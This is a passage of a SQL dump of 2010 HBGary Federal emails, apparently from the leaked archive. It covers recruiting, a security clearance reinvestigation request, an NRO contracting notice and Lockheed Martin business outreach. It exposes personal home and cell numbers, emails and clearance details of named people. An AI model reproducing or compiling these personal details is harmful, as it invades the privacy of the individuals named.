McDonald\'s contact info','Aaron,\r\n\r\nThank you for the update. Please let me know if there is anything you need from me.  \r\n\r\nAlan\r\nSent from my Verizon Wireless BlackBerry\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr \r\nDate: Fri, 3 Sep 2010 12:50:47 \r\nTo: Alan Ehrlich\r\nCc: Ed Wallach\r\nSubject: Re: Willis McDonald\'s contact info\r\n\r\nHi Alan,\r\n\r\nI spoke with Willis this morning with one of our engineers.  The conversation went well.  I am passing his resume minus name to the prime for evaluation.  We will likely set up a second call with the prime to vet sometime next week.\r\n\r\nAaron\r\n\r\nOn Sep 3, 2010, at 12:29 PM, Alan Ehrlich wrote:\r\n\r\n> Hello Aaron,\r\n> \r\n> Ed asked that I send you Willis McDonald\'s contact info and availability.  His home# is 678-425-9890, his cell# is 770-235-5471.  He is home by the phone today.\r\n> \r\n> Thanks\r\n> \r\n> Alan\r\n> ~~~~~~~~~~~~~~~~~~~~~~~~~\r\n> Alan Ehrlich\r\n> Recruiter\r\n> Ed Wallach Search Group\r\n> alan@wallachsearch.com\r\n> www.wallachsearch.com\r\n> (480) 656-1164 Office\r\n> (480) 656-5408 Cell\r\n> \r\n> \"Recruiting Intelligence\"\r\n> \r\n> \r\n> \r\n> \r\n\r\n\r\n',9493,'aaron_hbgary_com/9493.html'),(11306,'2010-09-03','\"Moore, Adrianne\" <adrianne.moore@usis.com>','/aaron@hbgary.com/new/1297008593.M323132P14101Q6161.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Jonathan George Security Clearance Investigation','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nNot a problem. I would appreciate if we could still meet. Next\r\nweek I have Thursday full open and most afternoons the rest of the week. I am\r\nlocated in Arlington but can come to your office if that works for you. I\r\nbelieve Jonathan said you were in the area? Thank You.\r\n\r\n&nbsp;\r\n\r\nAdrianne Moore\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 03, 2010 11:24 AM\r\nTo: Moore, Adrianne\r\nSubject: Re: Jonathan George Security Clearance Investigation\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSorry Adrianne,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI let this slip. &nbsp;Would you still like to set something\r\nup?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 24, 2010, at 12:45 PM, Moore, Adrianne wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMy name is Adrianne Moore and I am an Investigator with the\r\nUnited States Air Force. I am conducting a security clearance reinvestigation\r\nfor&nbsp;Jonathan George.&nbsp;Jonathan George&nbsp;listed you as a reference\r\nand provided me with your email address as he did not have your current phone\r\nnumber. If at all possible I would like to set up a time that we could meet for\r\na couple of minutes to speak about Jonathan George. My phone number is\r\n540-446-7074. I appreciate your help in this process.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThank You,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAdrianne Moore\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAdrianne Moore\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nUSIS/Investigator\r\n\r\n\r\n\r\n\r\n\r\n4000 Legato Rd\r\n2nd Floor Suite 200\r\nFairfax, VA 22033\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n(1-540)-446-7074\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nadrianne.moore@usis.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe information contained in\r\nand transmitted with this e-mail is confidential. It is intended only for the\r\nindividual or entity designated above. You are hereby notified that any\r\ndissemination, distribution, copying or use of or reliance on the information\r\ncontained in and transmitted with this e-mail by or to anyone other than the\r\nrecipient designated above by the sender is unauthorized and strictly\r\nprohibited. If you have received this e-mail in error, please contact the\r\nsender immediately and notify them that you received this in error. Any e-mail\r\nerroneously transmitted to you should be immediately destroyed. Thank you for\r\nyour attention to this note of confidentiality. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe information contained in and transmitted with this e-mail is confidential.  It is intended only for the individual or entity designated above. You are hereby notified that any dissemination, distribution, copying or use of or reliance on the information contained in and transmitted with this e-mail by or to anyone other than the recipient designated above by the sender is unauthorized and strictly prohibited.  If you have received this e-mail in error, please contact the sender immediately and notify them that you received this in error.  Any e-mail erroneously transmitted to you should be immediately destroyed.  Thank you for your attention to this note of confidentiality. \r\n\r\n\r\n\r\n\r\n\r\n\r\n',3615,'aaron_hbgary_com/3615.html'),(11307,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008593.M522715P14101Q6162.eml','\"Penny Leavy\" <penny@hbgary.com>','Introduction','I just got off the phone with Nicholas from Riveria group, equity/investment firm.  This was a result of my meeting with L-3.  One of the executives I met with also sits on some equity boards.  We are not in their market space because we are not profitable.  He would like an introduction to you so I will do that.  He had asked what is the possibility of combining companies.  I told him he would have to talk with you about that first.\r\n\r\nSo ust a heads up.\r\n\r\nAaron\r\n\r\n',4395,'aaron_hbgary_com/4395.html'),(11308,'2010-09-03','arc@westfields.net','/aaron@hbgary.com/new/1297008593.M728554P14101Q6163.eml','federal@hbgary.com','GED Sole Source Business Opportunity Posting','\r\nThe NRO/GED Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: FFP/LOE. The Effort Type is Support Services (O&M).\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',1974,'aaron_hbgary_com/1974.html'),(11309,'2010-09-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008593.M947293P14101Q6164.eml','\"Pugsley, Brandon\" <brandon.pugsley@lmco.com>,\"Pugsley, Brandon\" <brandon.pugsley@lmco.com>','Re: EXTERNAL: Update from Ted','Brandon,Aaron Barr (cc&#39;d) is our CEO, and he&#39;s located in McLean VA.  I&#39;d like to hand you over to him, and perhaps you two can set up a face-to-face discussion.  Does that sound alright to you?\r\nRegards,TedOn Fri, Sep 3, 2010 at 11:00 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI’m located in Herndon, VA and have some flexibility.\r\n\r\nBrandon\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, September 03, 2010 12:44 PM\r\nTo: Pugsley, Brandon\r\nSubject: Re: EXTERNAL: Update from Ted\r\n\r\n\r\n\r\n \r\n\r\nNo problem Brandon,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI just got back from two weeks of back-to-back travel and\r\nplan to be in the office (Colorado Springs) most of this month.  Where are\r\nyou physically located?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHope you have a nice long weekend too.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn Fri, Sep 3, 2010 at 10:41 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nI apologize for the length of time it\r\nhas taken me to get back to you.  I would like to follow-up with you,\r\nperhaps meet, and discuss some of the overarching trends you are seeing in the\r\ncommunity.  I have read and digested the whitepapers that you provided,\r\nand agree with many of your assessments.\r\n\r\n \r\n\r\nLet me know how your schedule looks, and\r\nhave a good Labor Day weekend.\r\n\r\n \r\n\r\nRegards,\r\n\r\nBrandon \r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Friday, July 30, 2010 11:29 AM\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: Pugsley, Brandon\r\nCc: Mcculloch, Scott D\r\nSubject: Re: EXTERNAL: Update from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi\r\nBrandon,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThis week HBGary presented our new Fingerprint\r\napplication at\r\nBlackhat.  Fingerprint examines tool-marks left in executables and\r\nuses them to create a signature that can help with malware attribution\r\nand lineage -- ie finding the bad guys.  We released Fingerprint as a\r\nfree download, including the source-code, so organizations can tailor\r\nit to their unique mission and help advance the technology.  We have\r\n\r\n\r\n\r\n\r\n\r\nlots of ideas on how this technology can be used in a\r\nbig way to help\r\n\r\n\r\n\r\n\r\n\r\nthe cyber fight.  I look forward to\r\ndiscussing future teaming opportunities.\r\n\r\n\r\n\r\n\r\n\r\n\r\nYou can download and find out more about our Fingerprint tool here:\r\nhttp://www.hbgary.com/community/free-tools/\r\n\r\nYou can read more about our Blackhat talk here:\r\n\r\n\r\n\r\nhttp://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn\r\nFri, Jul 23, 2010 at 9:40 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nLikewise!  Scott did send me the\r\nwhitepapers.  Let me get a look and see what technical folks/activities\r\ntie in.  I’m working across some of the broader initiatives, and\r\nyour team’s expertise is well beyond my depth.  I look forward to\r\nlearning more about what you are working to accomplish, and seeing if we can\r\nleverage it appropriately.\r\n\r\n \r\n\r\nBest,\r\n\r\nBrandon\r\n\r\n \r\n\r\n \r\n\r\nBrandon Pugsley\r\n\r\nInformation Systems &amp; Global\r\nServices-Security\r\n\r\nBusiness Development, Advanced Programs\r\n\r\nOffice 703.466.2788\r\n\r\nCell 703-999-9162\r\n\r\nPager 800-200-5295\r\n\r\nbrandon.pugsley@lmco.com\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Friday, July 23, 2010 11:18 AM\r\nTo: Pugsley, Brandon\r\nCc: Mcculloch, Scott D\r\nSubject: Re: EXTERNAL: Update from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi\r\nBrandon,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nNice\r\nto virtually meet you.  Did Scott attach the whitepapers?  If not, I\r\ncan resend.  What areas of Cyber are you focused on.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn\r\nFri, Jul 23, 2010 at 6:45 AM, Mcculloch, Scott D &lt;scott.d.mcculloch@lmco.com&gt;\r\nwrote:\r\n\r\nTed,\r\n\r\nGoo dto hear from you. And no I have not got on facebook yet.\r\n\r\nOn the CC line is Brandon, he is working some LM initiatives that could have\r\nsome relevance to your companies capabilities.\r\n\r\nScott D. McCulloch\r\nBusiness Development - Capture Excellence Lockheed Martin IS&amp;GS - Security\r\n571-246-3148 (Cell)\r\n703-466-2315 (Office)\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, July 14, 2010 5:12 PM\r\nTo: Mcculloch, Scott D\r\nSubject: EXTERNAL: Update from Ted\r\n\r\nHi Scott,\r\n\r\nHow&#39;s it going?  Did you ever get up on Facebook?\r\n\r\nI&#39;m trying to drum up some business, and I thought you might be interested in\r\nwhat I&#39;ve been up to for the last six months or so.  I run a small\r\nsoftware development and services company, HBGary.  We specialize in all\r\nthings related to malware.  Greg Hoglund is our CEO and founded the\r\ncompany in 2003.  Greg is an accomplished author, world recognized leader\r\nin rootkit technology and was recently named one of &quot;10 hackers to\r\nknow&quot; in Network Security magazine.  We offer a number of Cyber\r\nservices including malware reverse engineering, vulnerability research, exploit\r\ndevelopment, incident response, penetration testing, and digital forensics.\r\n We also have a mature product-line of COTS which assist in accomplishing\r\nthose tasks.\r\n\r\n\r\n\r\nI&#39;ve attached three whitepapers that I think you may find interesting.\r\n The first is our analysis of the Aurora attack, the second is a how-to\r\nguide for using our REcon product to develop software exploits, and the third\r\ndescribes our latest Enterprise product, Active Defense.\r\n\r\n\r\n\r\nI&#39;d appreciate any introductions you can provide, if you know anyone that you\r\nthink may be interested in our offerings, or advice you may have.\r\n\r\nWarm Regards,\r\nTed\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\nhttp://www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |\r\n ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',14557,'aaron_hbgary_com/14557.html'),(11310,'2010-09-03','ted@hbgary.com','/aaron@hbgary.com/new/1297008594.M269988P14101Q6165.eml','aaron@hbgary.com','BlackHat Leads Email','\r\n\r\nI\'ve shared BlackHat Leads Email\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nBlackHat Leads Email\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',2352,'aaron_hbgary_com/2352.html'),(11311,'2010-09-03','\"Pugsley, Brandon\" <brandon.pugsley@lmco.com>','/aaron@hbgary.com/new/1297008594.M536792P14101Q6166.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: EXTERNAL: Update from Ted','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI would be happy to meet with Aaron. \r\n\r\nThanks,\r\n\r\nBrandon\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, September 03, 2010 1:21 PM\r\nTo: Pugsley, Brandon\r\nCc: Barr Aaron\r\nSubject: Re: EXTERNAL: Update from Ted\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBrandon,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr (cc\'d) is our CEO, and he\'s located in McLean VA.\r\n&nbsp;I\'d like to hand you over to him, and perhaps you two can set up a\r\nface-to-face discussion. &nbsp;Does that sound alright to you?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn Fri, Sep 3, 2010 at 11:00 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m located in Herndon, VA and\r\nhave some flexibility.\r\n\r\nBrandon\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Friday, September 03, 2010 12:44 PM\r\nTo: Pugsley, Brandon\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: EXTERNAL: Update from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo\r\nproblem Brandon,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\njust got back from two weeks of back-to-back travel and plan to be in the\r\noffice (Colorado Springs) most of this month. &nbsp;Where are you physically\r\nlocated?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHope\r\nyou have a nice long weekend too.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn\r\nFri, Sep 3, 2010 at 10:41 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nI apologize for the length of time it\r\nhas taken me to get back to you.&nbsp; I would like to follow-up with you,\r\nperhaps meet, and discuss some of the overarching trends you are seeing in the community.&nbsp;\r\nI have read and digested the whitepapers that you provided, and agree with many\r\nof your assessments.\r\n\r\n&nbsp;\r\n\r\nLet me know how your schedule looks, and\r\nhave a good Labor Day weekend.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nBrandon \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Friday, July 30, 2010 11:29 AM\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: Pugsley, Brandon\r\nCc: Mcculloch, Scott D\r\nSubject: Re: EXTERNAL: Update from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nBrandon,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis week HBGary presented our new Fingerprint application\r\nat\r\nBlackhat. &nbsp;Fingerprint examines tool-marks left in executables and\r\nuses them to create a signature that can help with malware attribution\r\nand lineage -- ie finding the bad guys. &nbsp;We released Fingerprint as a\r\nfree download, including the source-code, so organizations can tailor\r\nit to their unique mission and help advance the technology. &nbsp;We have\r\n\r\n\r\n\r\n\r\n\r\nlots of ideas on how this technology can be used in a\r\nbig way to help\r\n\r\n\r\n\r\n\r\n\r\nthe cyber fight. &nbsp;I look forward&nbsp;to\r\ndiscussing future teaming opportunities.\r\n\r\n\r\n\r\n\r\n\r\n\r\nYou can download and find out more about our Fingerprint tool here:\r\nhttp://www.hbgary.com/community/free-tools/\r\n\r\nYou can read more about our Blackhat talk here:\r\n\r\n\r\n\r\nhttp://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn\r\nFri, Jul 23, 2010 at 9:40 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nLikewise!&nbsp; Scott did send me 